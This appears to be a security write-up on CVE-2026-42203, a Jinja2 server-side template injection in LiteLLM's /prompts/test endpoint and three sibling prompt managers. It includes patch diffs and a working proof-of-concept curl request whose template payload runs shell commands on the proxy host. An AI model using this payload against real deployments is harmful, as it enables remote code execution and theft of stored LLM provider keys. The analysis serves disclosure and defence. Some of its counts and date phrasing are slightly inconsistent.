On April 9, 2026, a developer named jayden committed eight lines to litellm/integrations/dotprompt/prompt_manager.py. The commit title was fix(proxy): improve input validation on management endpoints. The diff replaces from jinja2 import DictLoader, Environment, select_autoescape with from jinja2.sandbox import ImmutableSandboxedEnvironment and changes self.jinja_env = Environment( to self.jinja_env = ImmutableSandboxedEnvironment(. The commit title does not contain the words SSTI, RCE, template injection, or sandbox. The inline code comment, three lines below the import, does: templates can come from user input via /prompts/test, so we must block access to unsafe Python attributes. Three weeks and twenty-three days later, on May 2, a different developer committed the same change to three other files. CVE-2026-42203 was assigned to one of the four.
CVE-2026-42203: LiteLLM Patched One of Four Jinja2 Prompt Managers
patterns
cve
proof of concept
The endpoint that any LiteLLM key can reach
LiteLLM is BerriAI's AI Gateway: a proxy server that sits between an organisation's applications and every upstream LLM provider (OpenAI, Anthropic, AWS Bedrock, Vertex, Cohere, dozens more), holds the provider API keys in its environment, and presents a unified OpenAI-shaped interface. The proxy's whole reason for existing is to centralise the credentials. Compromise the proxy process and you have the keys.
The vulnerable endpoint is POST /prompts/test, declared in litellm/proxy/prompts/prompt_endpoints.py at line 1186. Its guard is one line:
@router.post(
"/prompts/test",
tags=["Prompt Management"],
dependencies=[Depends(user_api_key_auth)],
)
async def test_prompt(
request: TestPromptRequest,
...
):user_api_key_auth accepts any LiteLLM proxy key. Most deployments mint per-team or per-developer keys with scoped model and budget limits; none of those scopes restrict access to the prompt-management surface. A key minted to call gpt-3.5-turbo from a sales-ops automation can reach /prompts/test. So can anyone who phished one such key.
The handler accepts a JSON body containing a dotprompt_content string, a YAML-frontmatter prompt format Google ships with its GenAI Kit. The handler parses the frontmatter, takes the template body, and renders it:
prompt_manager = PromptManager()
frontmatter, template_content = prompt_manager._parse_frontmatter(
content=request.dotprompt_content
)
# ...
variables = request.prompt_variables or {}
rendered_content = prompt_manager.jinja_env.from_string(
template_content
).render(**variables)prompt_manager.jinja_env is the Jinja2 environment configured in the PromptManager.__init__ at litellm/integrations/dotprompt/prompt_manager.py line 62. Before the patch:
self.jinja_env = Environment(
loader=DictLoader({}),
autoescape=select_autoescape(["html", "xml"]),
variable_start_string="{{",
variable_end_string="}}",
block_start_string="{%",
block_end_string="%}",
comment_start_string="{#",
comment_end_string="#}",
)That is jinja2.Environment, the unsandboxed default. It evaluates attribute access on whatever objects the template references. The proof-of-concept by GitHub user Astianjy, published on May 12, sends one curl:
curl -X POST http://target:4000/prompts/test \
-H "Authorization: Bearer <any-proxy-key>" \
-H "Content-Type: application/json" \
-d '{
"dotprompt_content": "---\nmodel: gpt-3.5-turbo\ntemperature: 0\n---\n\nUser: {{ cycler.__init__.__globals__.os.popen(\"id\").read() }}",
"prompt_variables": {}
}'cycler is a Jinja2 builtin. Its __init__ is a function, every Python function has a __globals__ attribute pointing at the module it was defined in, and the Jinja2 runtime module imports os. The chain reaches os.popen, which executes a shell command on the proxy host. The proxy host's environment contains, by design, the credentials for every upstream LLM provider the organisation pays.
This is the textbook server-side template injection primitive. It has had the same shape since 2016. It is in every Jinja2-security cheatsheet. It is the first thing a sandboxed environment blocks.
The sandbox was already in the codebase. In a different file.
On April 10, 2024, Ishaan Jaff committed f9cabf09ff49544d3e677f34e6da26de06af1596 to LiteLLM. The commit message was fix jinja2 use ImmutableSandboxedEnvironment. Ishaan Jaff is BerriAI's co-founder. The file was litellm/llms/prompt_templates/factory.py. The diff replaced:
-from jinja2 import Template, exceptions, Environment, meta, BaseLoader
+from jinja2 import Template, exceptions, meta, BaseLoader
+from jinja2.sandbox import ImmutableSandboxedEnvironmentand inside hf_chat_template:
- env = Environment(loader=BaseLoader(), autoescape=False)
+ env = ImmutableSandboxedEnvironment(trim_blocks=True, lstrip_blocks=True)That commit landed two years and one day before CVE-2026-42203 was patched in a different file in the same repository. The codebase knew about Jinja2 SSTI in 2024. The codebase imported ImmutableSandboxedEnvironment in 2024. The codebase did not enforce any rule that subsequent Jinja2 environments would inherit the sandbox; each new prompt source got its own __init__ and its own choice of which jinja2 symbol to import.
The dotprompt module was added on July 31, 2025, in commit fe24c270de (Prompt Management - add local dotprompt file support). The author imported Environment from jinja2. There was no linter rule, no architectural review, no shared base class enforcing the sandbox. The file two directories away already had the answer.
Fifteen months later it became CVE-2026-42203.
One of four
The April 9 fix patched litellm/integrations/dotprompt/prompt_manager.py. Nothing else.
On May 2, 2026, GitHub user stuxf committed de28a4f352bd5f1267973615e4ddbac6742630c2. The commit title says what the April 9 commit's title did not: fix(security): sandbox jinja2 in gitlab/arize/bitbucket prompt managers. The commit body is the testimony:
DotpromptManager was hardened to render through ImmutableSandboxedEnvironment. The three sibling managers (gitlab, arize, bitbucket) were missed and still instantiate plain jinja2.Environment(), leaving the same attribute-traversal SSTI primitive open: a template fetched from a GitLab/BitBucket repo or Arize Phoenix workspace can reach
__class__.__init__.__globals__and execute arbitrary Python on the proxy host.
The diff is the same diff jayden wrote three weeks earlier, applied to three other files:
--- a/litellm/integrations/gitlab/gitlab_prompt_manager.py
-from jinja2 import DictLoader, Environment, select_autoescape
+from jinja2 import DictLoader, select_autoescape
+from jinja2.sandbox import ImmutableSandboxedEnvironment
- self.jinja_env = Environment(
+ self.jinja_env = ImmutableSandboxedEnvironment(Identical hunks land in litellm/integrations/bitbucket/bitbucket_prompt_manager.py and litellm/integrations/arize/arize_phoenix_prompt_manager.py. The commit adds 125 lines of regression tests (tests/test_litellm/integrations/test_prompt_manager_ssti.py) verifying each manager's jinja_env is a sandbox, that classic SSTI payloads raise SecurityError, and that ordinary variable rendering still works. Eighteen test cases. Three managers. Six cases each.
The threat surface on the three siblings is narrower than DotpromptManager's. The dotprompt one accepts a template body directly from any proxy key holder via HTTP. The gitlab/bitbucket/arize ones fetch templates from configured upstream repositories or workspaces; the attacker has to be able to commit to the repo or write to the workspace. But the primitive is identical: a fetched template containing {{ cycler.__init__.__globals__.os.popen(...).read() }} reaches Python execution on the proxy host. An organisation that wires LiteLLM up to read prompts from a shared GitLab project so multiple teams can manage them is trusting every committer to that project with the same authority as the proxy host's process. Until the May 2 commit, none of that was documented and none of it was enforced. None of it has a CVE.
This is the parallel-implementation-gap shape. LiteLLM has at least four implementations of load a prompt template, render it with Jinja2: litellm/llms/prompt_templates/factory.py (the canonical, sandboxed in April 2024), litellm/integrations/dotprompt/prompt_manager.py, litellm/integrations/gitlab/gitlab_prompt_manager.py, litellm/integrations/bitbucket/bitbucket_prompt_manager.py, and litellm/integrations/arize/arize_phoenix_prompt_manager.py. Each was authored separately, by a different developer, against a different prompt source. The first imported ImmutableSandboxedEnvironment. The four after it each imported Environment. The CVE names the divergent module that has a callable HTTP surface. The other three were waiting for the same researcher to look one directory over.
It is also a design-debt driver. LiteLLM's prompt-management architecture is one manager class per prompt source, each owns its own jinja2 import. The repository's catalogue of integrations grows with the LLM-tooling ecosystem; every new prompt source (Langfuse next, Helicone next, whoever ships a prompt store after that) is a new __init__ with a new self.jinja_env = ... call site and a new chance for the author to type Environment instead of ImmutableSandboxedEnvironment. The April 2024 patch fixed an instance. The architecture that produces a new instance each time a new source ships is what brought the same bug back in 2026, and is what will bring it back again the next time the catalogue grows.
The commit title that does not say SSTI
The April 9 commit was titled fix(proxy): improve input validation on management endpoints. The same commit also modified key_management_endpoints.py and proxy_setting_endpoints.py, both of which received unrelated authorisation-check hardening in the same diff. Bundling the SSTI patch with two cosmetic authorisation changes gave the commit a generic title that covers the smaller changes truthfully while obscuring the larger one. A defender reading the LiteLLM commit log on April 10 sees improve input validation on management endpoints and reasons, correctly, that no upgrade-now signal is fired. The CVE description, when it landed weeks later, named /prompts/test and prompt templates rendered without sandboxing. The commit shipped in v1.83.7-stable on April 11; CVE-2026-42203 was not assigned to v1.80.5..1.83.7 until later. The window between the silent patch and the public CVE is the window every adversary running LiteLLM-aware tooling against exposed proxies was scanning unannounced.
The May 2 follow-up commit's title says fix(security): sandbox jinja2 in gitlab/arize/bitbucket prompt managers and its body explains attribute traversal. Two commits, three weeks apart, fix the same primitive in four files. One was titled like a routine input-validation pass. One was titled like the security advisory it deserved. The second author wrote the second title because the first author's title had already established the cover.
The charge
BerriAI ships LiteLLM as the recommended way for an organisation to put one HTTP endpoint in front of every paid LLM provider, hold the provider keys in one process, and apply one key-management layer to internal callers. The architecture means the proxy process is, by the moment it starts, the most secret-laden box in the deployment. BerriAI's own co-founder committed the fix for Jinja2 SSTI in factory.py in April 2024. BerriAI's repository added four more Jinja2 environments after that fix, each instantiating the unsandboxed default class from the same library, and exposed one of them on an HTTP route guarded by the caller has a proxy key. The patch for the HTTP-reachable one was titled to look like routine input validation. The patch for the other three came three weeks later and shipped without a CVE. Every LiteLLM deployment running 1.80.5 through 1.83.6 with /prompts/test reachable held provider credentials in a process the lowest-privilege key holder in the organisation could compromise with one Jinja2 expression.
The Astianjy PoC is dated May 12, six days ago. Its README is in Mandarin; its callback uses CEYE for out-of-band verification. The repository has zero stars. The same shape against the same primitive is in three more files until the consumer upgrades to a version newer than v1.83.7, because v1.83.7 only contains the fix for the dotprompt one.
The fix is one import line. The codebase had it in 2024. It took two years and four parallel modules to reach the file with an HTTP route attached.